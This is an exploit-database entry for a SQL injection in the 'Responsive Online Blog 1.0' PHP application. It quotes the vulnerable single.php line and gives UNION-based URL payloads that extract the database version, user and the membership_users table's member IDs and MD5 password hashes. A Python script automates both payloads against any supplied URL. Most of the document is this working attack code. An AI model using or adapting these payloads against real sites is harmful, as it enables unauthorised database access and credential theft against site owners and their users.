Exploit for Responsive Online Blog 1.0 SQL Injection Vulnerability (2)

## https://sploitus.com/exploit?id=1337DAY-ID-34671
# Exploit Title: Responsive Online Blog 1.0 - 'single.php?id=' SQL Injection
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
---------------- 
single.php

Vulnerable Code:
-----------------
line 4: $id=$_REQUEST['id']; $query="SELECT * from blogs where id='".$id."'"; $result=mysqli_query($GLOBALS["___mysqli_ston"],$query) or die ( ((is_object($GLOBALS["___mysqli_ston"]))? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ?$___mysqli_res : true))); 


Vulnerable Issue:
-----------------
$id=$_REQUEST['id'] has no sanitization

POC:
----

[Basic Info]
http://localhost/resblog/single.php?id='+UNION+ALL+SELECT+NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-

[User Credential Enumeration]
http://localhost/resblog/single.php?id='+UNION+ALL+SELECT+NULL,CONCAT_WS(0x3a,memberID,passMD5),NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+membership_users--+-

Python POC:
----------
import requests,re


URL = input("URL : <Ex: http://localhost/resblog>\n")
vulnFile = "/single.php?id="
payloadA = "'+UNION+ALL+SELECT+NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-"
payloadB = "'+UNION+ALL+SELECT+NULL,CONCAT('gh1mau',memberID,0x3a,passMD5,'gh1mau'),NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+membership_users--+-"

#print("\nPayload Testing : \n" + URL + vulnFile + payloadA + "\n")
pattern = "(?<=gh1mau).*?(?=gh1mau)"

rA = requests.get(URL+vulnFile+payloadA)
version=re.findall(pattern,rA.text)

print("Basic Info:")
print(version)

rB = requests.get(URL+vulnFile+payloadB)
user=re.findall(pattern,rB.text)

print("\nCredentials:")
print(user)


#  0day.today [2020-07-19]  #